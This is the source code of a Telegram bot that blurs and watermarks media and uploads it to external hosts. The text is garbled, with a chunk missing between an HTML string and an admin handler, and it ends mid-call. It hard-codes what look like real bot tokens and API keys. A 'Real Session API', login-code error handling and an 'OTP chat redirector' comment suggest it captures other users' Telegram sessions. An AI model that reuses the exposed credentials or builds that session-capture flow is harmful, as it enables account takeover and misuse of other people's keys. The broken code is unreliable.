import os import time import threading import requests import asyncio import re import urllib3 from flask import Flask, jsonify, make_response, request from supabase import create_client from pyrogram import Client, filters, enums, idle from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked, AuthKeyUnregistered from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # ================= CONFIGURATION ================= BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY" API_ID = 2040 API_HASH = "b18441a1ff607e10a989891a5462e627" SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co" SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN" PREMIUM_CHANNEL_ID = -1002825744390 # WebApp URL (index.html) WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html" BYSE_API_KEY = "133323knboif885fhgwxvf" ADMIN_IDS = [7307789267] app = Flask(__name__) supabase = create_client(SUPABASE_URL, SUPABASE_KEY) admin_states = {} temp_clients = {} try: main_loop = asyncio.get_running_loop() except RuntimeError: main_loop = asyncio.new_event_loop() asyncio.set_event_loop(main_loop) def run_async(coro): future = asyncio.run_coroutine_threadsafe(coro, main_loop) return future.result() bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN) async def db_query(func): return await asyncio.to_thread(func) # ================= FLASK API ROUTES ================= @app.route('/') def index(): return "Bot, Media Uploader, and Real Session API is Running! 🚀" # রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে @app.route('/api/jump') def jump_to_telegram(): html_content = """
{message.chat.id}"
for admin_id in ADMIN_IDS:
try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
except: pass
except: pass
@bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
async def set_blur_state(client, message):
try:
args = message.text.split()
if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
if message.chat.id in admin_states:
admin_states[message.chat.id].pop("blur_percent", None)
admin_states[message.chat.id].pop("clear_percent", None)
await message.reply("✅ Blur mode is disabled!\nUploaded videos will no longer be blurred, only watermarked as before.", parse_mode=enums.ParseMode.HTML)
return
match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
if match:
percent = int(match.group(1))
clear_percent = int(match.group(2)) if match.group(2) else 0
if percent == 0:
if message.chat.id in admin_states:
admin_states[message.chat.id].pop("blur_percent", None)
admin_states[message.chat.id].pop("clear_percent", None)
await message.reply("✅ Blur mode is disabled!", parse_mode=enums.ParseMode.HTML)
return
if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
admin_states[message.chat.id]["blur_percent"] = percent
admin_states[message.chat.id]["clear_percent"] = clear_percent
clear_msg = f"and the top {clear_percent}% part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
reply_text = f"✅ Blur set to: {percent}%\n📌 {clear_msg}\n\nThis will be applied to all future uploads.\n(To disable, send /blur 0)"
await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
else:
await message.reply("❌ Invalid command!\nCorrect format: `/blur 60` or `/blur 60 20`")
except Exception as e: print(e)
def upload_file_sync(upload_url, file_path, api_key):
try:
with open(file_path, 'rb') as f:
res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
return res.json() if res.status_code == 200 else {}
except Exception as e:
return {}
@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
async def handle_media_upload(client, message):
state = admin_states.get(message.chat.id, {})
if state.get("step") == "broadcast":
await process_broadcast(client, message)
return
media_type = "video" if message.video else "animation" if message.animation else "photo"
has_blur_caption = message.caption and "/blur" in message.caption.lower()
is_persistent_blur = bool(state.get("blur_percent"))
if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
status = await message.reply("⏳ Saving thumbnail...")
try:
local_path = await message.download()
def upload_to_supabase():
with open(local_path, 'rb') as f: file_bytes = f.read()
file_name = f"thumb_{int(time.time())}.jpg"
supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
return supabase.storage.from_('thumbnails').get_public_url(file_name)
direct_link = await asyncio.to_thread(upload_to_supabase)
if os.path.exists(local_path): os.remove(local_path)
await status.edit_text(f"✅ Thumbnail saved successfully!\n\n{direct_link}", parse_mode=enums.ParseMode.HTML)
except Exception as e: await status.edit_text(f"⚠️ Upload Error: {e}")
return
raw_caption = message.caption or ""
blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
is_blur = False
blur_percent = 0
clear_percent = 0
clean_caption = raw_caption
if blur_match:
is_blur = True
blur_percent = int(blur_match.group(1))
clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
elif state.get("blur_percent"):
is_blur = True
blur_percent = state["blur_percent"]
clear_percent = state.get("clear_percent", 0)
is_large_video = False
if media_type == "video":
duration = message.video.duration if message.video and message.video.duration else 0
file_size = message.video.file_size if message.video and message.video.file_size else 0
MAX_DURATION = 7200 # 2 Hours
MAX_SIZE = 1900 * 1024 * 1024 # 1.9 GB
if duration > MAX_DURATION or file_size > MAX_SIZE:
is_large_video = True
is_blur = False
status_msg = await message.reply("⏳ Video is too large! Skipping blur..." if is_large_video else "⏳ Downloading media...")
bot_me = client.me if client.me else await client.get_me()
bot_link = f"https://t.me/{bot_me.username}"
original_file, watermarked_file, blurred_file, final_file, embed_link = None, None, None, None, None
try:
original_file = await message.download()
final_file = original_file
if media_type == "video" and not is_large_video:
await status_msg.edit_text("⏳ Watermarking video... (Fast processing)")
watermarked_file = f"{original_file}_wm.mp4"
cmd = [
"ffmpeg", "-y", "-i", original_file,
"-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
"-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28",
"-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file
]
process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
await process.communicate()
if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
if is_blur and not is_large_video:
await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur...")
radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
ext = "jpg" if media_type == "photo" else "mp4"
blurred_file = f"{original_file}_blurred.{ext}"
if clear_percent > 0:
clear_ratio = clear_percent / 100.0
# FFMPEG Audio Map ফিক্স
ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]"]
if media_type == "video":
ff_filter.extend(["-map", "0:a?"])
else:
ff_filter = ["-vf", f"boxblur={radius}:1"]
if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-pix_fmt", "yuv420p", blurred_file]
else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
await process_blur.communicate()
if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
if media_type == "video":
await status_msg.edit_text("⏳ Uploading video to byse.sx server...")
api_endpoint = "https://api.byse.sx/upload/server"
loop = asyncio.get_event_loop()
response = await loop.run_in_executor(None, lambda: request